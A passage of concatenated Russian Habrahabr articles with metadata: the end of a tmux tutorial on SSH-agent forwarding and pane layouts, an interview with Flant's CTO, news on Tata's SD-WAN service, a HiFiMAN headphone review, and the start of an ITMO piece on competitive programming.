коробки», настроен довольно качественно. Вам не нужно настраивать положение панели с вкладками, каким цветом их подсвечивать, и другие настройки, как это было в screen. Но если вдруг вам понадобится конфигурационный файл, то возьмите себе на заметку: называться он должен .tmux.conf ; поместить его нужно в домашнюю директорию пользователя. Хочу поделиться полезной настройкой, без которой мне приходилось создавать заново сессию tmux. Опишу ее более подробно. Рабочая машина у меня под управлением ОС Windows. Для подключения к удаленному серверу используется putty и pagent (для добавления ключей). Когда добавляешь ключ в pagent, нужно вводить пароль (passphrase — вы его указываете при создании ключей ssh). В putty для каждого соединения установлена вот эта галочка: Такие особенности работы windows + putty + удаленное соединение по ssh. Эта галочка нужна, чтобы работал SSH-agent forwarding. Так вот, вернемся к проблеме. Если вы вдруг потеряли связь с сетью или в офисе внезапно отключили электричество, то tmux, конечно же, сохранит сессию. И при повторном подключении к этой сессии вежливо попросит ввести пароль для ключа. Так будет каждый раз. Т.е. перестанет работать SSH-agent forwarding. Это можно поправить, если завершить текущую сессию tmux и переподключиться к удаленному серверу. С одной стороны это не так критично. Но со временем эта проблема доставляет довольно много неудобств и хочется ее решить раз и навсегда. Чтобы решить эту проблему нужно добавить настройки в файл .bashrc , который находится в домашней директории пользователя: Попробую описать, что происходит, когда вы подключаетесь к удаленному серверу с включенным SSH-agent forwarding. Когда ssh-клиент (в данном случае putty), с включенным SSH-agent forwarding, подсоединяется к серверу, то он создаёт сокет, через который можно получить этот самый ключ. Также он создаёт переменную $SSH_AUTH_SOCK , которая ссылается на этот сокет. Эту переменную наследует запущенный shell (оболочка, которая обрабатывает команды пользователя) в рамках текущей сессии. Кроме этой переменной, создаются еще несколько переменных: $SSH_CLIENT, $SSH_CONNECTION, $SSH_TTY , в которых хранится информация о текущем ssh-подключении. Когда произойдет обрыв связи, то менеджер терминалов, в данном случае tmux, сохранит сессию со старыми значениями этих переменных. И когда мы заново будем подключаться к удаленному серверу, то будет создан новый сокет с новыми значениями. Но они не попадут в старую сессию менеджера терминалов. Поэтому нам нужно дать понять shell, что мы хотим, чтобы он сохранял эти значения и использовал их при повторном подключении, если они есть. tmux в деле Пришло время проверить tmux в работе. Мы уже знаем как его запустить. Достаточно набрать tmux . Рабочая область. Панель (pane — из документации к tmux). Строка состояния. На ней размещаются вкладки и другие элементы. Вкладка с именем по умолчанию. Мы рассмотрели начальное состояние tmux. Если вы читали предыдущую статью , то вы могли заметить, что начальное состояние, да и вообще внешний вид tmux, не очень то и отличается от screen. За исключением того, что статусная строка нам доступна изначально. Давайте теперь рассмотрим tmux на примере более сложной задачи. Для этого нам понадобиться репозиторий . Если вы его себе не клонировали на компьютер, то выполните следующую команду: git clone https://github.com/var-bin/terminalForCoder__WSD.git Далее запустите tmux. Для начала поработаем с вкладками. Нам понадобится 2-3 вкладки. Чтобы создать новую вкладку, нужно нажать следующие сочетания клавиш: Ctrl + b, c - создать новую вкладку Следующим шагом будет переименование вкладок. Для этого используйте: Ctrl + b, , - переименовать вкладку Для того, чтобы переключаться между вкладками, воспользуйтесь этими клавишами: Ctrl + b, int - переключиться на нужную вкладку (int - номер вкладки 0 - 9) Или Ctrl + b, w - интерактивное переключение вкладок С вкладками немного попрактиковались. Теперь давайте разобьем нашу текущую панель на две независимые панели. Обратите внимание на то, что данный layout не будет сохранятся для всех остальных вкладок. Для каждой вкладки tmux создаёт свой независимый layout. Делается это с помощью сочетания клавиш: Ctrl + b, % - разбить текущую панель на две новых по вертикали Теперь давайте запустим в той панели, что слева, какую-то утилиту. К примеру, midnight commander (любую другую утилиту) с помощью команды: mc Для перемещения между панелями, используйте эти сочетания клавиш: Ctrl + b, ← ↑ → ↓ - перемещение между панелями А в той панели, что справа, запустим наше тестовое приложение. Это простой чат, написанный на node.js и socket.io . Этот пример взят с официального сайта socket.io. Единственное, что я добавил — это немного логирования, чтобы мы видели, что оно работает. Для этого нужно перейти в директорию %repoName%/tmux/chat-example . И выполнить команды: npm i node index.js %repoName% — имя директории, в которую был склонирован репозитой. Если все хорошо, то вы должны увидеть на экране строку: listening on localhost:3000 После этого запустите браузер и в новой вкладке перейдите по адресу localhost:3000 . Наберите любое сообщение в строке ввода и нажмите Enter . Как видите, все работает и вы можете прочитать это сообщение также и в терминале. В том регионе, где выполняли команду node index.js . А теперь пришло время сделать то, что мы делали и в предыдущей статье. Сымитируем обрыв связи. Нужно закрыть терминал через крестик. Но при этом не закрывайте браузер. И попробуйте отправить еще несколько сообщений. Все продолжает работать. Это при том, что мы только что закрыли терминал. Сессию и все процессы, которые были запущены tmux сохранил. Как мы знаем из предыдущей статьи, screen тоже умеет так делать. Давайте подключимся обратно к сессии tmux. Запустите терминал и выполните команду: tmux attach Как вы могли заметить, тот layout, который мы создавали раньше (разбивку панелей по вертикали), tmux сохранил. Это огромный плюс по сравнению с тем же screen’ом. Полезные ссылки Хорошая шпаргалка по tmux Хорошая шпаргалка по tmux (habr версия) Официальный сайт tmux man tmux =) screen vs. tmux Пришло время сравнить screen и tmux. За время работы и со screen’ом, и c tmux’ом (примерно 2,5 года) я пришел к выводу, что screen’ом если и стоит пользоваться, то только в том случае, если вам недоступен tmux. Т.е. если вы не можете установить себе tmux или собрать его из исходников. Во всех остальных случаях лучше сразу начинать с tmux’а. screen tmux - Не умеет создавать layout для каждой вкладки - Не умеет сохранять layout, если оборвалась связь или еще что-то там - До версии 4.1 не умел делать разбивку по вертикали - Когда вы создали новый регион, то в нем отдельно нужно создать новое окно (Ctrl+a, c) , выполнить переход в нужную директорию и т.д. - Чтобы удалить регион тоже нужно помучатся Ctrl+a, :remove + «с коробки» настроен довольно качественно + Не нужно настраивать положение панели с вкладками, как их подсвечивать + Умеет делить экран на панели, как по вертикали, так и по горизонтали + Чтобы закрыть панель, достаточно набрать exit + Умеет держать удаленное соединение * * нужна дополнительная магия Давайте подытожим. Мы рассмотрели еще один из менеджеров терминалов, а именно tmux. Попрактиковались в установке, настройке. Использовали некоторые горячие клавиши. Попробовали tmux на примере. Увидели его преимущества по сравнению с тем же screen’ом. Кроме screen и tmux есть довольно широкий выбор менеджеров терминалов для разных ОС, ваши личные предпочтения и пожелания. На этом все. Спасибо за внимание. Кто дочитал до конца, отдельное спасибо. До встречи в следующей статье.
https://habrahabr.ru/post/318376/
habrahabr
Как работают ИТ-специалисты. Дмитрий Столяров, технический директор Флант
['интервью с разработчиками', 'советы начинающим', 'лайфхак', 'привычки', 'организация работы', 'аутсорсинг']
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их...
Мы продолжаем расспрашивать специалистов о режиме труда и отдыха, профессиональных привычках, об инструментарии, который они используют, и многом другом. Будет интересно выяснить, что их объединяет, в чем они противоречат другу другу. Возможно, их ответы помогут выявить какие-то общие закономерности, полезные советы, которые помогут многим из нас. Сегодня наш гость — Дмитрий Столяров, технический директор Флант . Его лайфхаком хотели бы воспользоваться многие, но далеко не все могут себе это позволить. Чем занимаетесь в компании? Я являюсь сооснователем компании и был ее генеральным директором долгое время. Сейчас отдаю бразды правления и начинаю заниматься тем, что нравится, тем, что люблю – технологиями. Я стал техническим директором. Одно слово (словосочетание), лучше всего описывающее, как вы работаете: Быстро и качественно. Сколько часов в сутки вы уделяете работе? От 10 до 12. Сколько часов вы спите? 6-7 часов. Много времени уходит на дорогу? 3 минуты. Я работаю практически из дома: мой кабинет находится в отдельном строении. Полтора года работаю удаленно, связываюсь по видеоконференции и чату. Каким todo-менеджером пользуетесь лично вы? Есть свой проект. Каким таск-менеджером / issue-tracker’ом / репозиторием пользуетесь? Redmine. Мы его очень сильно переделали под себя, так как у нас есть отдел разработки на Ruby и нестандартные потребности, выходящие за рамки стандартных плагинов и требующие двусторонней интеграции с другими сервисами. По поводу таск-менеджера: у нас есть своя разработка на Ruby on Rails, она функционирует по принципу человека на лодке, который кричит, как грести: «И-и-и раз, и-и-и раз!» Мы в нем проводим статус-митинги и делаем план на день, максимум – на два. Что касается репозитория: используем GitLab уже давно. Какие инструменты, фреймворки вы используете для разработки? Прежде всего, у нас есть Ubuntu, одинаковая для всех. Там есть софт, который интегрирует наших админов и девопсов с нашими инструментами. Кроме того, используем vim: мы до сих пор правим много конфигов на серверах. Для разработки используем в основном Atom. Кто-то использует RubyMine. Фреймворки зависят от выбранных языков и запросов, которые выбираются в соответствии с задачами. А в качестве последних может оказаться как системный софт (на C/C++), так и очередной скрипт (Bash, Ruby, Python) или веб-интерфейс/API (Ruby). Иногда это зависит от самих приложений, для которых пишутся дополнения, обертки, интеграция. Для чего создавались внутренние проекты в вашей компании? Не могли найти на рынке то, что нам нужно. Долгое время мы не очень осознанно к этому подходили. Несколько лет назад это изменилось: в качестве готовых вспомогательных инструментов мы изучаем не только Open Source-решения, но и всевозможные SaaS и так далее. Наш бизнес – это девопс и автоматизация, это аутсорсинг. А аутсорсинг – это больше, чем сдача людей в аренду. Должна быть какая-то добавленная стоимость. В нашем случае – это скорость, качество и эффективность нашей работы. Это достигается не только за счет людей, но и за счет наших решений по групповой работе, управлению задачами и технологическим инструментам. У нас есть небольшой отдел разработки ПО. Там всего 8 человек. Как вы принимаете решение относительно использования и интеграции нового ПО? Например, Docker появился не так давно, но используется большинством. О таком инструменте, как Docker, мы мечтали еще в 2006. В 2009 году мы сделали свою разработку на Python. Это путь очень большой боли и проблем. Но когда появился Docker, он закрыл большую часть наших проблем. Даже не стоял вопрос, использовать или нет. По другим решениям – практически так же. Существует какая-то проблема, с которой мы сталкиваемся многократно. Соответственно, мы начинаем искать ее решение, смотрим, как ее решают другие, ищем инструментарий или создаем свой. Что вас раздражает больше всего, когда вы работаете? Нечестность людей. Я привык быть очень честным с сотрудниками и клиентами, всегда говорю все как есть, и жду, что ко мне будут так же относиться. Какую профессиональную литературу вы бы могли порекомендовать? Сайт Мартина Фаулера — martinfowler.com. Этот человек очень много пишет про разработку. У него можно подробно прочитать, что такое continuous integration, continuous delivery, как работать с Git и так далее. Он в теме давно, всем будет полезно. Что предпочитаете: электронные читалки или бумажные книги? Предпочтений нет. Какую технику (компьютеры, планшеты, смартфоны) и операционные системы вы предпочитаете на работе и дома? Наша компания занимается только Linux. У всех сотрудников Ubuntu, а раньше многие использовали Gentoo (и дома тоже). Телефон – Android. Какой лайфхак позволяет вам быть эффективнее? Самый главный лайфхак – работа дома. Вас не будут отвлекать из-за ерунды. Правильно организуйте чат и планируйте свой день заранее, чтобы четко знать, что вы хотите получить в конце дня. Вы слушаете музыку, когда работаете? Я очень люблю contemporary classic. Из того, что все знают, – это Ян Тьерсен. Вообще люблю пианино, гитару, фоновую музыку и иногда что-то современное. Да, часто слушаю. Иногда играю на гитаре во время работы (улыбается). Без каких приложений и сервисов не можете обойтись ни в работе, ни в личной жизни? G Suite и Slack. Представьте: десять лет назад Дмитрий Столяров пишет себе письмо из прошлого в будущее. Что там может быть написано? Мне кажется, нам надо было ориентироваться на иностранный рынок, потому что ситуация в России складывается так, что здесь мало реального спроса на интересные практичные вещи. Надо было, наверное, уехать. У вас пройден огромный путь. А кто-то сейчас стоит в начале этого пути. Что бы вы порекомендовали человеку, пытающемуся пройти тот же путь? Верьте в себя. Есть «правило десяти тысяч часов»: не прыгайте с одного на другое. Как показывает мой опыт, даже в такой, не очень популярной сфере, как у нас, нам удалось найти своих клиентов. Поэтому не прыгайте, становитесь хорошими специалистами в чем-то. А когда вы уже стали хорошими специалистами, можете постепенно расширять свои компетенции, если понадобится.
https://habrahabr.ru/post/318440/
habrahabr
Tata принесет SD-WAN в 130 стран
['sd-wan', 'vasexperts', 'анализ трафика']
Технология SD-WAN достаточно быстро набрала популярность на рынке. По подсчетам Gartner, 1% предприятий на сегодняшний день уже использует SD-WAN во всех филиалах, и через три года эта цифра...
Технология SD-WAN достаточно быстро набрала популярность на рынке. По подсчетам Gartner, 1% предприятий на сегодняшний день уже использует SD-WAN во всех филиалах, и через три года эта цифра вырастет до 30%. / Flickr / Sascha / CC Суть работы SD-WAN заключается в создании единой виртуальной сетевой фабрики, которую образуют защищенные overlay-соединения поверх физических подключений. Система мониторит производительность WAN-линков, инспектирует пакеты и сама принимает решение о передаче трафика через то или иное подключение, оптимизируя полосу пропускания. Как уже отмечалось выше, многие компании проявили интерес к технологии. Компания Cisco представила Cisco Intelligent WAN (IWAN), а Glue Networks — продукт Gluware Orchestration Engine, управляющий всеми аспектами WAN: политиками, WAN-инфраструктурой, автоматической выдачей ресурсов сети и т. д. Например, он может избавить ИТ-отдел от необходимости настраивать и поддерживать Cisco PfR вручную. Недавно к списку компаний, начавших работу с SD-WAN, присоединился еще один игрок. Речь идет о провайдере Tata Communications, 21 декабря оформившем партнерство с Versa Networks. Tata Communications планирует запустить SD-WAN-сервис IZO SDWAN Select в 130 странах. Пока что решение доступно в Индии и готовится к выходу в США в 2017 году. Сервис включает аппаратное обеспечение, развернутое в удаленных офисах пользователей, которое построено на серверах Intel. Устройства позволяют клиентам «смешивать» MPLS, широкополосные соединения и LTE, а также настраивать политики приложений, управляя трафиком . Например, отправлять трафик бизнес-критичных приложений по MPLS, а трафик YouTube — по широкополосному соединению. По словам Versa, система способна идентифицировать до 2600 приложений. Решение также может анализировать состояние голосового и видеотрафика и автоматически исправлять ошибки, а также переназначать трафик с основного линка на вспомогательный, если первый «падает». Устройства в удаленных офисах мониторятся центральным контроллером, который хостится в центральных дата-центрах Tata. Клиенты получают доступ к контроллеру удаленно для слежения за производительностью своих устройств. Чтобы удовлетворить постоянно растущие нужды компаний, Tata Communications готовится развернуть более 20 новых облачных шлюзов. Эти шлюзы позволят организациям виртуализировать крупные сети, поскольку IZO SDWAN надежно связана с IP-сетью Tata. / Источник: Tata Communications Сервис провайдер подготовил два основных варианта IZO SDWAN, чтобы удовлетворить требованиям клиентов: IZO SDWAN Prime и IZO SDWAN Select. Первый базируется на патентованных технологиях Tata, второй использует технологии Versa. IZO SDWAN Prime поддерживает Cisco CPE, включая маршрутизаторы серий 1900 и 2900, реализует SD-WAN, автоматическое предоставление ресурсов и устанавливает связь по MPLS. Клиенты могут выбрать IZO SDWAN Prime, например, если они уже приобрели роутер Cisco. Иначе они могут выбрать решение IZO SDWAN Select и развернуть собственную сеть с нуля. Одним из пользователей IZO SDWAN и бета-тестером решения является компания Essilor, мировой лидер по производству очковых линз. Essilor использует новый сервис, чтобы расширять бизнес. Дополнительные материалы из блога VAS Experts на Хабре: DPI-дайджест: Анализ трафика, блокировки, платформы и производители систем DPI «Мир не Дикого Запада»: IEEE опубликовала стандарт по созданию благожелательных роботов «Эхо прошлых лет»: Как решается вопрос недостатка адресов IPv4 Немного о системах Deep Packet Inspection Рынок DPI: Вендоры и их решения
https://habrahabr.ru/company/vasexperts/blog/316278/
habrahabr
Пара новинок от HiFiMAN: Edition S и Edition X
['Наушники', 'HiFiMAN']
Все, что требуется от качественного источника звука — детально и с минимальными искажениями передать сигнал. Безусловно, разные типы и классы усилителей по-своему «окрашивают» звук, но проблем...
Все, что требуется от качественного источника звука — детально и с минимальными искажениями передать сигнал. Безусловно, разные типы и классы усилителей по-своему «окрашивают» звук, но проблем выбора не так много, как с наушниками. Они должны преобразовать электрические сигналы в звуковую волну так, как хотел бы владелец, при этом удобно разместиться на голове, быть легкими и удобными в использовании. Компания HiFiMAN заявляет, что одна из новинок — Edition S — подходит под все вышеописанные критерии. Коробка черная, оформлена в «аудиофильском» стиле — строгие контрастные изображения, четкие шрифты без засечек. Плотный картон и вспененный наполнитель надежно предохраняют содержимое от механических повреждений. Большой отсек отведен под наушники, маленький — под соединительные провода и переходники: Edition S позиционируется для портативного (или, говоря привычным языком, мобильного) применения, а потому комплектуется удобным пластиковым чехлом на молнии, не допускающим механических повреждений в сложенном положении. Складываются наушники традиционным способом — чашками внутрь оголовья. Практично и просто, не требует внесения дополнительных шарниров в крепежный механизм. В «рабочем» состоянии Edition S выглядят так: Металлическое пружинящее оголовье с пластиковой накладкой сверху и мягкой вставкой внутри. Форма дужки — правильный полукруг, а неравномерно подпертый изнутри поролоном валик кожзама не дает наушникам повиснуть на темени (частый недостаток дешевых моделей с жестким оголовьем, который тут, к счастью, учтен). Непрерывное пятичасовое впитывание музыкальных композиций никакого дискомфорта не вызывает. Подвесы чашек выполнены из металла, равно как и все шарнирные соединения. Большой плюс при активном и не особо бережном использовании. Поверхность металла анодирована — никакой коррозии и солидный вид. Амбушюры из кожзама и велюра немалого размера: высота 23 мм, ширина 15 мм. Внутреннее пространство 65 мм в высоту и 40 мм в ширину — редкое ухо не влезет в «чашки». Значительная пружинящая сила оголовья смягчается амбушюрами и равномерно распределяется по всей площади, посему прижим плотный и «ухватистый», от тряски Edition S точно не соскочат. Диапазон регулировок по длине оголовья — 40 мм с каждой стороны. Сигнал подводится через мини-джек (3,5 мм TRS) на левом «ухе» комплектным проводом из бескислородной меди длиной 1,24 метра. Есть на нем регулятор громкости (20 см от разъема) и небольшая прищепка для фиксации на одежде. В комплекте идут два переходника: Тип излучателя — динамический, диаметр мембраны 50 мм. Благодаря малому сопротивлению (18 Ом) Edition Sхорошо уживается с «простыми» источниками аудиосигнала — смартфонами, неаудиофильскими плеерами, USB аудиокартами начального и среднего уровня. Производитель называет эту модель наушниками-трансформерами за съемные крышки, позволяющие парой движений рук превратить закрытые наушники в открытые и наоборот. Накладки удерживаются магнитами и благодаря хорошей подгонке легко снимаются руками и не отваливаются от резких сотрясений и контактов с предметами одежды или вещами в сумке. Демонтированные накладки можно хранить в кармане без специальных чехлов; нет деления на левую и правую, что избавляет от визуального контроля при установке. Тыльная сторона чашек при снятых накладках выглядит по-прежнему презентабельно за счет черной перфорированной сетки. Она же защищает нежный излучатель от повреждений. В целом Edition S производят впечатление хорошо проработанного и удобного в использовании продукта. И дело не только в продуманной конструкции, но и в хорошем качестве звучания. С непривычки оно может показаться глуховатым даже с «родным» плеером HiFiMAN HM901U, но несколько тестовых (читай — хорошо знакомых и неоднократно прослушиваемых на разной звуковоспроизводящей технике) треков разного жанра убеждают в обратном: звук четкий и приятный. Хорошо и детализировано звучат сложные творения System of a Down, Slipknot, Within Temptation, Ministry. Классика идет чисто и акцентировано. Примечательно, что «трансформация» из закрытых наушников в открытые лучше всего заметно по оркестровым записям: прибавляется объема, инструменты меньше выделяются из всего звукового потока, но не размываются. Хорошо, что для модификации достаточно пары быстрых движений наощупь — это позволяет быстро найти более комфортный режим воспроизведения и менять его от случая к случаю, не снимая наушники с головы. «Походные» наушники — одно, а для домашнего использования было бы кстати что-то менее зажатое по габаритам, более комфортное и вальяжное, как привычное кресло с подголовником и подставкой для ног. Под такое определение вполне подходит другая модель — Edition X : Поражает с порога… Нет, не формой и даже не ценой, а упаковкой: обтянутая кожзамом коробка с четкими диагональными строчками по бокам и темно-серебристой вставкой сверху. Открывается на манер ларца, одним легким движением руки. В забранном бархатом ложе покоятся наушники… …А по центру, под небольшой крышкой — соединительные провода: Маркетинговый ход с коробкой толковый: такая сразу расскажет покупателю о «премиальности» бренда в целом и данного товара в частности, а стенки из многослойного плотного картона защитят от механических повреждений. Есть что защищать: модель Edition X сконструирована оригинально, такую в простую картонку класть грех. Две крупные овальные чашки (130 х 97 мм) подвешены на пластиковых держателях, которые в свою очередь закреплены через шарнирные соединения на металлическом пружинящем оголовье. Под оголовьем — вставка из кожзама с возможностью регулировки по высоте (31 мм) для подстройки под любой размер черепа. Излучатель изодинамический: вместо обычной катушки металлические дорожки на тонкой мембране, по обе стороны от мембраны магниты в виде стержней. По дорожкам идет ток — мембрана изгибается, рождается звук. Части этой хитрой системы можно видеть через ткань внутри амбушюр и металлическую защитную решетку с тыльной стороны. Упругость стального оголовья при таких размерах чашек в самый раз, обеспечивает плотное прижатие по всему периметру. Амбушюры 22 мм высотой и 20 шириной, велюр не вызывает эффекта прилипания, а сравнительно малый вес всей конструкции позволяет не снимать Edition X с головы сколь угодно долго. Внутрь амбушюр влезет любое ухо, да ещё половину виска прихватит: внутреннее пространство под слуховой орган 90 х 55 мм. Гнезда для подключения сигнального кабеля есть на обоих чашках, оба 2,5 мм TRS: Шнуров подключения в комплекте два: один полутораметровый с обычным гнездом мини-джек (3,5 мм TRS)… …И шестиметровый с крупным джеком (6,3 мм TRS), оба в тканевой оплетке. Столь сильное различие в длине обусловлено спецификой применения, а простой переходник или удлинитель-переходник будут менее практичными при частом использовании, нежели пара раздельных кабелей. Конечно, раскачать Edition X сложнее, чем Edition S, но хорошая чувствительность позволяет в большинстве случаев обойтись без дополнительного усилителя, а низкое сопротивление дает шанс обычным «бытовым» плеерам не провалить тест на совместимость. У HM901U проблем в этом плане нет, громкости хватает с запасом, а благодаря специфическому строению излучателей звук очень четкий и насыщенный. Индастриал, рок, альтернатива на Edition X звучат живо и бодро, саундтреки Ханса Циммера ласкают слух, а джаз «заиграл» новыми красками. На мой личный вкус немного не хватает высоких, но это больше сила привычки, нежели конструктивная критика. Характеристики наушников HiFiMAN Edition S : Диапазон воспроизводимых частот: 15 Гц — 22 КГц Чувствительность: 113 дБ/мВт Импеданс: 18 Ом Диаметр мембраны излучателей: 50 мм Тип излучателя: динамический Разъем подключения: TRS 3.5 мм Вес: 248 г Характеристики наушников HiFiMAN Edition X : Диапазон воспроизводимых частот: 8 Гц — 50 КГц Импеданс: 25 ± 3 Ом Тип излучателя: изодинамические Чувствительность: 103 дБ Длина кабеля: 1,5 и 3 м Разъем подключения: 3,5 мм TRS, 6,3 мм TRS Вес: 399 г
https://geektimes.ru/company/hfhe/blog/284058/
habrahabr
Как стать первым в спортивном программировании: Университет ИТМО делится опытом. Часть 1
['университет итмо', 'программирование']
В этом материале мы расскажем о новом курсе, который был запущен Университетом ИТМО на платформе edX в этом году. Под катом – рассказ о проекте «How to Win Coding Competitions: Secrets of...
В этом материале мы расскажем о новом курсе, который был запущен Университетом ИТМО на платформе edX в этом году. Под катом – рассказ о проекте «How to Win Coding Competitions: Secrets of Champions» и большое интервью с авторами и инструкторами курса, в котором они рассуждают о том, что должен знать и уметь будущий победитель, и делятся своим опытом и воспоминаниями от участия в олимпиадах по программированию. Sebastiaan ter Burg / Flickr / CC О курсе Курс « Как побеждать в соревнованиях по программированию: секреты чемпионов » стартовал в октябре этого года. Авторами и инструкторами курса стали чемпионы студенческих олимпиад, в разные годы защищавшие честь Университета ИТМО: Максим Буздалов , доцент кафедры компьютерных технологий Университета ИТМО и чемпион ACM ICPC 2009 года, Павел Кротков, выпускник факультета информационных технологий и программирования Университета ИТМО, участник и организатор множества контестов по программированию в России и за рубежом, включая ACM ICPC NEERC (сейчас Павел работает в Facebook) и Дарья Яковлева , старший лаборант кафедры информационных систем Университета ИТМО, в этом году вошедшая в десятку на международном соревновании по программированию Google Code Jam for Women. Курс рассчитан на 5 недель и направлен на изучение особенностей и подходов, использующихся в спортивном программировании. Участники узнают, как проходят соревнования, разбирают наиболее популярные подходы к решению задач и примеры их использования, тренируются решать олимпиадные задания в условиях, приближенных к реальным (финальный экзамен проходит в формате настоящего международного соревнования по программированию). Авторы курса не просто «натаскивают» студентов на олимпиадные задачи, но и рассказывают о том, как работать в условиях жестких дедлайнов и находить необычные и эффективные решения. Мы узнали у Максима, Павла и Дарьи, какими знаниями должен обладать будущий победитель олимпиад по программированию, насколько важны для победы «фишки» и лайфхаки и какие ошибки чаще всего допускают новички в спортивном программировании. Программа-минимум: что необходимо знать для победы в соревновании Павел Кротков называет основные навыки, необходимые для победы в олимпиадах: знание математики, алгоритмов, языка программирования. Без этих знаний преуспеть, самой собой, невозможно.  Вторая группа важных навыков: правильная тактика, знание «фишек». В командных соревнованиях это — умение оптимально использовать время за компьютером, разделение труда, умение отлаживать свои программы и программы сокомандников и искать в них ошибки. В личных соревнованиях к таким навыкам относятся, опять же, умение отлаживать/тестировать свои программы, быстро проверять те или иные гипотезы.  Максим Буздалов дополняет этот перечень и выделяет сразу семь навыков, необходимых для успешного участия в олимпиадах по программированию: Способность придумывать решения задач. Сюда относятся способности генерировать и проверять идеи, сводить одни задачи к другим и тому подобное. Эрудиция в области алгоритмов и структур данных, стандартных и не очень. Это знание о том, какие алгоритмы/структуры вообще существуют, какие задачи они решают, какие свойства они требуют от решаемой задачи, какова асимптотическая сложность этих алгоритмов или операций с этими структурами данных. Способность эффективно реализовывать алгоритмы и структуры данных на практике. При этом под словом «эффективно» понимаются две взаимосвязанные вещи — «эффективность» с точки зрения функционирования алгоритмов/структур и «эффективность» с точки зрения времени их написания на соревновании. Знание языка программирования и модели сложности операций этого языка. Так, некоторые вещи для требуемой эффективности нужно писать по-разному (с использованием разных подходов к хранению данных, структурированию кода) на C, С++, Java и Python. Знание различных «хаков», способных ускорить и без того грамотно написанный код. Умение искать ошибки в коде и отлаживать код. Умение эффективно распределять ресурсы — личные ресурсы, ресурсы команды вычислительные ресурсы — для достижения максимальных результатов. Максим подчеркивает, что разные навыки требуют и различной подготовки. Так, по его мнению, чтение литературы поможет лучше разбираться в алгоритмах и структурах данных – но не более того. Придумывать решения задач научат занятия математикой. «Промышленное» программирование (то есть то, чем обычно программисты занимаются в рамках выполнения рабочих задач для бизнеса) обеспечит проработку навыков №4, №5 и №6. А вот способность эффективно реализовывать алгоритмы и структуры данных на практике и умение эффективно распределять ресурсы – это, по мнению Максима, типично «спортивные» навыки – те, которые без практики участия в соревнованиях развить крайне сложно. Практически все эти пункты требуют постоянного развития и постоянной работы над собой. Например, если вы новичок в реализации алгоритмов, но хорошо их придумываете, вы можете решить (на бумаге) все задачи, но не решить (на компьютере) практически ни одной – Максим Буздалов Еще раз про «фишки» Мы спросили у авторов курса, может ли новичок, разбирающийся в математике и программировании, но не знакомый с «фишками», лайфхаками и другими тайными знаниями, выиграть соревнование. Победители олимпиад согласились, что «фишки» — это еще не все: без фундаментальных знаний и трудолюбия участнику олимпиады будет обойтись гораздо сложнее: Я бы сказал, что преуспеть в соревнованиях до определённого уровня, имея только знания из первой категории [знание математики, алгоритмов, языка программирования], можно. Тем не менее, знания из второй категории [понимание правильной тактики, навыки грамотного распределения ресурсов] сильно упрощают жизнь и работают как катализатор. Как и в любом спорте: есть физические навыки, а есть знание техники, психология, и так далее. Преуспеть только за счёт первого можно, но второе будет работать катализатором – Павел Кротков Как мне кажется, те, кто успешны в олимпиадах (занимают призовые места на ведущих соревнованиях мира), могут быть в меру невежественными в пункте №5 [из списка выше] («хаки»), а также — при условии гениальности в остальных областях — могут не придавать значения пункту №7 (работа с ресурсами) – Максим Буздалов Дарья Яковлева отметила, что в условиях олимпиады важнее знания «фишек» может оказаться творческий подход, поэтому талантливые новички могут рассчитывать на достойный результат: Конечно, важно знать различные методы решения задач, но нужно заметить, что жюри олимпиад старается составить задачи таким образом, чтобы участники в первую очередь придумали идею, решение самостоятельно. Однако сложные задачи, разумеется, требуют дополнительных знаний. Поэтому, я думаю, выиграть будет сложно, а попасть в топ-10 реально – Дарья Яковлева Про работу в команде Базовые умения и навыки в одиночном и командном программировании отличаются — правда, незначительно. Дарья уточняет: В командных соревнованиях у команды есть только один компьютер. Поэтому в течение олимпиады только один человек пишет решение задачи на компьютере, остальные ребята решают другие задачи на листочках.Обычно в команде есть: математик, программист и любитель решать нестандартные задачи – Дарья Яковлева Это означает, что участник командных соревнований может сделать «упор» на одной или нескольких областях – в этом случае его слабые стороны компенсируют коллеги. Максим в этой связи вспоминает турнир ACM ICPC 2009 года: Так, например, в нашей команде (мы были чемпионами мира по программированию 2009 года) Женя Капун был непревзойденным изобретателем решений, Слава Исенбаев был отличным «универсальным бойцом», а задачи, требующие больших объемов аккуратного кода (например, задачи на вычислительную геометрию), лучше всех писал я – Максим Буздалов Максим и Павел отмечают: разделение ролей в команде часто происходит естественным путем в течение первого десятка тренировок. Бывает, что у сокомандников есть слегка различающиеся интересы, и в результате разные участники понемногу специализируются на разных направлениях (как уточняет Максим, нелегких — например, на вычислительной геометрии, задачах на потоки, «хитрых» структурах данных, суффиксных деревьях или суффиксных автоматах и так далее). Кто-то быстрее реализовывает стандартный алгоритм, или лучше ориентируется в том или ином разделе математики — все это влияет на неформальное распределение ролей в команде. Бывают команды с ярко выраженным «математиком» и ярко выраженным «кодером». Абсолютно изолировать эти навыки, естественно, не получается, так как кодер должен понимать математика и наоборот. Кроме того, если они также участвуют и в личных соревнованиях, неравенство со временем может уменьшаться, так как участники учатся друг у друга. В любом случае, если у вас в команде есть «математик», или «кодер», или «тестер», или специалист по суффиксным автоматам — это не означает, что вам не надо развивать соответствующие навыки. Как раз наоборот — вам есть, у кого учиться, и этим надо пользоваться – Максим Буздалов Бывает, что сокомандники оказываются примерно равны по силе и по набору навыков — в результате тактика работы в команде сводится к тому, что задачу пишет тот, кто первый ее решил. Однако, как отмечает Павел, распределение ролей не всегда связано со специализацией на той или иной области знаний: в большинстве команд есть также человек, который может принять решение в сложной ситуации — его можно назвать лидером или капитаном. Подводные камни: на чем проваливаются неопытные участники Как отмечают авторы курса, основные проблемы новичков связаны в первую очередь с переоценкой своих сил и возможностей. Максим Буздалов называет настоящим бичом неопытных участников их сногсшибательную уверенность в том, что код, который они написали, работает. Причем они практически не различают [разницу между] «работает» и «работает на примере из условия». Им не приходит мысль проверить код еще раз, придумать контрпример, попробовать, наконец, доказать корректность решения. В частности, поэтому вердикт вида «Неверный ответ, тест 2» оставляет таких участников в крайней растерянности, а несколько таких вердиктов подряд — в состоянии основательной озлобленности. – Максим Буздалов В качестве примера Максим приводит одну из задач с курса «Как побеждать в соревнованиях по программированию: секреты чемпионов». Дана матрица из чисел размера 3x3, необходимо выбрать из этой матрицы три числа так, чтобы ни в одном столбце и ни в одной строке не было бы выбрано более одного числа, а корень из суммы квадратов чисел был максимален. Правильное решение этой задачи — по крайней мере, одно из них — очевидно: перебираем все возможные тройки номеров столбцов , а для каждой такой тройки проверяем выбор, в котором в первой строке выбирается столбец a, во второй — 